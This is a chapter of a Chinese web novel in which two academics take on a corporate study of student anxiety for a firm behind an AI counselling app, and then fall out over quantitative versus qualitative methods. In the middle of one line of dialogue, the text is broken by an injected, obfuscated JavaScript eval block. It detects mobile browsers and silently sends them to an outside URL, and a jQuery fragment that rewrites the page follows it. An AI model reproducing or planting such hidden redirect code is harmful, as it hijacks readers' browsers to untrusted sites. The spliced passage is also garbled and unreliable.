自从那天在江无远家吃了顿饭，贺鸣云就像吃饱了猪饲料、打足了鸡血，卯足了劲儿推进合作。
论文还没写出个名堂，他又兴致勃勃，邀请江无远一起做课题。
这是一个横向课题，是某知名企业委托冰洋大学进行研究的。和传统的国家级、部委级、省部级项目不同，横向课题一般由企业提出需求，目的是解决企业遇到的具体问题，会更注重实践应用。比如某大厂就曾委托冰洋大学法学院对反垄断法进行研究。
江无远兴趣缺缺：“贺教授，我以为你随便一申就是个国家社会科学基金项目呢。”
顺带一提，国家社会科学基金项目考核加五分。
贺鸣云兴致高多了，解释说：“这个课题是马院长拿下的，确实不是国家级基金项目，但委托方在业内的话语权很大，这个课题的含金量不低，经费也很充裕。”
江无远被贺鸣云催着写论文，每天都睡眠不足，脑子昏昏沉沉，故一颗玲珑心暂时蒙了尘，没能分析出马院长此举暗含的撮合之意。
她毫不掩饰自己的不感兴趣：“哦。”
贺鸣云指出：“这个课题考核也能加一点五分，也算老师的学术成果。”
“贺教授，又要写论文，又要备课，又要录视频，还要做课题啊？你真的是高精力人群，你不当教授谁当教授。我不是教授，我搞不过来。”
“我是副教授，”贺鸣云语气平淡，却不容拒绝，“这个题目你也感兴趣的，研究大学生焦虑感的。还有个名额，可以带个你的学生。”
江无远还是没反应过来。
贺鸣云提醒她：“可以带个你的学生一起做课题，写在学生的履历上。上次在你家，你说方溯和导师关系一般，做不了什么好课题。”
他还记挂着这件事啊？
江无远警惕地看了贺鸣云一眼，无事献殷勤，他该不会是——
对方溯有意思吧！？
完全猜错了方向的江老师严肃提醒贺教授：“贺教授，你记不记得，上次在我家吃饭，你说女学生恨男老师，比爱男老师好。”
贺鸣云一脸正气：“当然。”
“你是真心的？”
“当然。”
江无远继续试探：“小溯好像不喜欢年纪大的……不喜欢年上男。”
贺鸣云点头：“我知道，小钟说过，现在的年轻女孩都喜欢年下的奶狗。”
两个人都诡异地沉默了下。
贺鸣云咳了两声，问：“那你呢？你也不喜欢年上男？”
江无远不疑有他，认为贺鸣云是在反向考察她的师风师德，昂首挺胸自豪回答：“不！我对年下不感兴趣，我就喜欢比我大的。”
贺鸣云松了口气：“哦哦，那就好，那就好。”
江无远也松了口气：“嗯嗯，大家好才是真的好。”
他俩莫名其妙大和解了，江无远也莫名其妙，带上方溯，成了课题组的成员。
*****
方溯觉得自己非常多余，但看江老师和贺教授仿佛在演新婚日记，看得她苹果肌饱满，不舍得避嫌。
这是课题组成员——贺鸣云，江无远，以及方溯本人——的第一次组内讨论。
贺教授约她们在他的办公室讨论，江老师一进门，熟门熟路，挨着贺教授坐下（方溯个人认为，两把椅子离得过于近了），并自然地接过咖啡——贺教授在休息室咖啡机现打的。
江老师喝了一口，问：“咦？冰箱里有牛奶了？”
贺教授面色微红，答：“我在学校小超市买的。”
没人问他，他又画蛇添足了一句：“顺路。反正大家都要喝的。”
大家？什么大家？
方溯看了眼自己面前的热美式，里面一滴牛奶都没有，感情贺教授买牛奶来，就只给江老师喝的啊？
江老师丝毫没意识到贺教授的差别对待，一边喝咖啡，一边请贺教授解释课题背景。
贺教授也是前所未有的耐心：“课题的委托方是春晴集团，春晴集团早年做心理咨询和职业培训起家，这两年开始拓展AI咨询师业务板块。”
哦，春晴集团，方溯也知道的。
春晴去年开发了一款“小春陪你聊”app，据说获得了近百位知名心理咨询师、心理学专家的授权，学习了大量心理学专业知识和心理咨询笔记。用户可以在线向小春倾诉烦恼，小春会提供专业的心理咨询意见。
今年“小春陪你聊”app在短剧的植入广告大火，吸引了大批年轻用户。方溯也下载了app，小春天天帮她骂二百五导师，情绪价值拉满。
贺教授接着解释：“为了更好地服务大学生用户群体，春晴集团这次委托我们对大学生焦虑感进行研究。这是我根据之前的碰头会整理的委托方需求。”
他不仅整理了委托方需求，还做了份细致的分工表，分发给她们看。他写文献综述，他和江无远一起写研究设计，方溯负责资料收集、数据处理。
方溯这辈子没遇到过这么老黄牛的导师，欲语泪先流。
江老师也问他：“文献综述都你写吗？工作量会不会太大？”
贺教授回答得理所当然：“不大，交给我就行。”
江老师听了很高兴：“那就辛苦你了，贺教授，我也会认真琢磨研究方法的。”
方溯不禁感慨，帅哥改变人生啊，连江老师都精神抖擞地做研究、搞课题了。她以前可是接连婉拒了好几个老教授的合作邀请。
甚至江老师最近忙着跟贺鸣云合作，视频号都一个礼拜没更新了。方溯还拿不定主意，要不要提醒她更新一期固固粉。
想当年江老师刚开始做自媒体的时候，为了争取更多曝光机会，都是熬夜日更视频。当时方溯和一众学生悄悄当自来水，帮她一键三连，还悄悄给她买了点粉。
真是今非昔比啊。江老师不仅在自媒体赛道丰收，也准备在传统学界丰收了。
或许不仅要事业丰收，爱情也要丰收了。
他俩什么时候能好上啊？
*****
方溯悄悄嗑了三天，今天好不容易线下嗑CP，她都准备偷拍两张发给肖飞飞一起品了，没想到贺教授突然失了智，错穿“严厉的父亲”马甲，亲手斩断了姻缘线。
这是课题组成员的第二次组内讨论。
开始都还好好的。贺教授设计了张测评表，包括父母期望、同辈竞争、经济压力、学业负担、未来不确定性等十四个测评维度。
他准备对冰洋大学各年级、各专业的学生进行问卷调查，调查他们的焦虑程度和焦虑成因。初步计划发放三千份问卷，后续再拓展到大学城其他学校。
贺教授又说，回收问卷后，他计划用结构方程模型分析大学生焦虑感与家庭背景、成绩排名、职业前景等变量的相关性。
江老师表示充分肯定后，说她计划进行深度质性研究，招募三十名不同背景的学生，进行跟踪访谈，并侧重分析他们社交媒体上的情绪表达。
江老师解释说，贺教授进行定量分析后，质性研究正好可以作为补充。访谈能够捕捉到大学生焦虑的复杂性和流动性，记录下数据背后的真实故事。
好了，到这里就开始不好了。
方溯的屁股当然是歪向江无远的，为避免误导读者，以下均为原汁原味原话直出：
贺鸣云：“这种研究方法不够科学，每个受访者都会说谎。”
江无远：“你的量表就不会说谎？”
贺鸣云：“样本足够大、统计模型足够精准的话，是
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17093566|195550||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
的，我能得出比你更准确的结论。江老师，我理解你的想法，但我们需要有代表性、可推广、能揭示宏观规律的结论。”
江无远：“贺教授，我也理解你的顾虑，但我想做的并不会取代你的量表，而是互为补充。”
贺鸣云：“我明白，但是我们的时间很紧，我觉得这么做的性价比很低，你不如和我一起做定量分析。”
江无远：“我们做的不是传统项目，委托方是做聊天咨询app的，当然也会希望我们对代表性个例进行深度研究，这对企业来说是非常有价值的信息。”
面对贺鸣云怀疑的眼神，江无远继续解释：“我们学院做过很多横向课题，我帮媒体评估过新媒体传播效果，也帮文创公司做过品牌形象诊断，我知道委托方想要什么。”
贺鸣云：“你做过很多横向课题，就应该知道，委托方对时效性的要求很高，我们没有那么多时间。”
江无远：“我以前都是这么做的，没觉得浪费时间了。”
贺鸣云：“也许是因为和你合作的同事帮你兜底了。”
江无远沉默了一会儿。
方溯个人认为，争执就是从这里开始升级的。
贺鸣云接着说：“横向课题的含金量低，是有原因的。委托方并不专业，他们不是受过训练的学者，他们不知道自己需要什么。但我们是专业的，不管是什么级别、什么类型的课题，我们都应该做高标准、严谨的研究。”
江无远：“这话是什么意思？你的意思是，我不专业，我提的研究方法低标准、不严谨？”
贺鸣云没有正面回答。
他斟酌了一下措辞，说：“焦虑是社会结构的产物。我们需要排除个人情绪，用可量化、可重复的数据，找到系统性施加压力的社会变量。没有宏观数据，任何结论都是个例，而个例是不严谨的。”
江无远：“你错了，焦虑不是被结构决定的数据，而是个体在具体情境中的真实体验。你真的觉得，宏观数据就能呈现个体的焦虑感受？”
贺鸣云：“而你想做的是臆测。三十个样本无法达到统计显著性，无论你的结论多么动人，都回答不了最基本的问题：这现象有多普遍？我们是在做研究，不是在做心理咨询。”
江无远：“那你的问卷呢？‘请用1-10分描述你对未来择业的焦虑程度。’贺教授，把人的感受简化成分数，不是严谨，是傲慢和冷漠。你的数据再精确，也回答不了这个研究背后更重要的问题：怎么帮大学生缓解焦虑，让他们更轻松、更快乐？”
贺鸣云：“科学的进步，就起始于把含糊不清的东西变为可测量的。如果任由研究者进行主观阐释，客观在哪里？”
江无远：“什么叫客观？把大学生的痛苦抽象成你论文里的一个表格，帮你在考核里加一点五分，这就是你的客观？你是人文社科教授，社会学失去了对人的体谅，和数字游戏有什么区别？”
贺鸣云：“所以你的学术追求，就是迎合大众，输出煽情的人文故事？那和你平时做视频号吸引流量，又有什么区别？你是不是忘了，你的主业是学者，不是网红。”
方溯倒吸一口凉气。
这一声动静让贺鸣云如梦方醒，他张了张嘴，好像才意识到自己刚刚说的话过火了。
江无远看着他，她看起来有些惊讶，而更多的，是失望和受伤。
贺鸣云艰难地咽了口口水，说：“我……我不是那个意思。”
他试图组织语言，却词不达意。
办公室里安静得可怕。
江无远没有再反驳，也没有再看贺鸣云。她默默合上笔记本，站起身。
“好的，贺教授，我明白了。我跟你，还是太不一样了。”
她转身离开，门被轻轻带上。